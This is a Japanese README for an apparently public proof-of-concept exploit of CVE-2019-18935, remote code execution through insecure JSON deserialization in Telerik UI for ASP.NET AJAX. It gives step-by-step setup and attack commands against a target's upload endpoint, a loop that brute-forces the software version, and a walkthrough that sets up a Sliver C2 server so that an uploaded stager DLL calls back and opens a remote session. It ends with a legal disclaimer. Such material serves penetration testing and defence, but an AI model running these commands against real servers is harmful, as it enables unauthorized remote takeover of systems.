noperator/cve-2019-18935Telerik UI for ASP.NET AJAXにおける.NET JSONデシリアライゼーションの脆弱性に対するRCEエクスプロイト。
Telerik UI for ASP.NET AJAX における .NET JSON 逆シリアル化の脆弱性を悪用し、リモートコード実行を可能にする Proof-of-Concept エクスプロイトです。
Telerik UI for ASP.NET AJAX は、Web アプリケーション向けに広く使用されている UI コンポーネント群です。このソフトウェアは JSON オブジェクトを安全でない方法で逆シリアル化するため、ソフトウェアが動作するホスト上で任意のリモートコード実行が可能になります。詳細については、以下を参照してください:
build-dll.bat を使用して混合モードの .NET アセンブリ DLL ペイロードをコンパイルするには、Visual Studio と .NET Framework SDK がインストールされている必要があります。
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
このエクスプロイトは、RAU_crypto の暗号化ロジックを利用しています。RAU_crypto.py 内の RAUCipher クラスは、開発が終了した PyCrypto モジュールのドロップイン代替品である PyCryptodome に依存しています。PyCryptodome と PyCrypto は同じ環境にインストールすると問題が発生するため、この依存関係を満たす最善の方法は、上記のように仮想環境内にモジュールをインストールすることです。
build-dll.bat の 17 行目 を、ご使用の Visual Studio のインストール先パスに変更してください。
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
一部のペイロード(例: reverse-shell.c や sliver-stager.c)では、HOST フィールドと PORT フィールドを C2 サーバーを指すように設定する必要があります。必ず設定してください!
Visual Studio がインストールされた Windows 環境で build-dll.bat を使用すると、逆シリアル化時にペイロードとして使用する 32 ビットおよび 64 ビットの混合モードアセンブリ DLL を生成できます。オプションとして、2 番目の CLI 引数(例: x86)でターゲットの CPU アーキテクチャを指定できます。
build-dll.bat sleep.c
上記で生成した DLL を CVE-2019-18935.py に渡すと、DLL がターゲットサーバー上のディレクトリにアップロードされ(Web サーバーがそのディレクトリに書き込み権限を持っている場合)、その後、安全でない逆シリアル化エクスプロイトを介して DLL がアプリケーションに読み込まれます。
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
上記の例では、アプリケーションの応答に少なくとも 10 秒かかっており、DLL ペイロードが Sleep(10000) を正常に呼び出したことを示しています。
DerpCon の講演 .NET Roulette (39:46) で詳しく説明されているように、ファイルをアップロードする際に Telerik.Web.UI アセンブリの_メジャー_バージョン(つまり、完全なバージョン文字列 2017.2.503.40 の 2017 の部分)だけを指定することで、Telerik UI のバージョンをブルートフォースできます。この手法により、ソフトウェアの各リリースを個別にブルートフォースする場合と比較して、検索空間を大幅に削減できます。さらに、このソフトウェアのリリース履歴に明示的に記載されていないバージョンも検出できます。.NET アセンブリのバージョン管理の詳細については、MSDN を参照してください。
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
カスタムの Sliver ステージャーペイロード sliver-stager.c は、Metasploit のステージングプロトコルに従って、Sliver サーバー(ステージングサーバー)から Sliver シェルコード(ステージ)を受信して実行します。この仕組みの詳細については、ペイロードソースのヘッダーを参照してください。
Sliver サーバーを起動します。サーバー設定の詳細はこちらを参照してください。
MINGW_PATH='/usr/bin' # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server
Sliver サーバーで C2 エンドポイントを開き(ここでは mTLS リスナーを使用していますが、HTTP や DNS も使用できます)、インプラントプロファイルを作成し、そのプロファイルにリンクしたステージングリスナーを作成します。ステージドペイロードの詳細はこちらを参照してください。Sliver のドキュメントが推奨する generate stager を使用して Sliver ステージャーを生成するのではなく、カスタムの sliver-stager.c を使用していることに注意してください。
⚠️ 警告: CPU アーキテクチャが異なるステージを送信すると、ターゲットプロセスが_クラッシュ_します! たとえば、ターゲットが 32 ビット版の Telerik UI を実行している場合に、ステージングサーバーが 32 ビットのステージャーに 64 ビットのステージを送信すると、Web サーバープロセスがクラッシュします。次の例では 32 ビットのシェルコードを生成していますが、new-profile コマンドの --arch フラグを使用して、ターゲットの CPU アーキテクチャに合わせる必要があります。
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32
sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started
Sliver ステージャーソースのホストとポートを Sliver サーバーを指すように設定します(以下にサーバーの例を示します)。
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c
Sliver ステージャーペイロードをコンパイルし、ペイロードをターゲットにアップロードしてアプリケーションに読み込みます(すべてこの README の前述の Usage セクションに従います)。
> .\build-dll.bat sliver-stager.c x86
$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll
すべてがうまくいけば(このターゲットに対してトラブルシューティングを実施しましたか?)、Sliver サーバーのウィンドウにセッションが作成され、ターゲットと対話できるようになります。
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC
sliver > use 1
[*] Active session AFRAID_COMPUTER (1)
sliver (AFRAID_COMPUTER) > help
Commands:
=========
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
...
whoami Get session user execution context
sliver (AFRAID_COMPUTER) > whoami
DESKTOP-D19S4Q2\tester
AssemblyInstaller クラスは、同じアセンブリ名を持つ複数の .NET アセンブリを読み込むことができないためです(これは_ファイル名_とは異なります)。ターゲットにスリープやコールバックなどを実行させたい場合は、そのたびに新しいペイロードをコンパイルしてアップロードする必要があります。事前に相互の同意を得ずにターゲットを攻撃するためにこのツールを使用することは違法です。適用されるすべての地域、州、および連邦の法律を遵守する責任はエンドユーザーにあります。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。
@mwulftange 氏がこの脆弱性を最初に発見しました。@bao7uo 氏は、RadAsyncUpload の暗号化を破るためのロジックをすべて作成し、rauPostData 内のファイルアップロード設定オブジェクトを操作して、そのオブジェクトの安全でない逆シリアル化を悪用することを可能にしました。@lesnuages 氏は、Sliver ステージャーペイロードの最初のバージョンを作成しました。
このプロジェクトは Apache License の下でライセンスされています。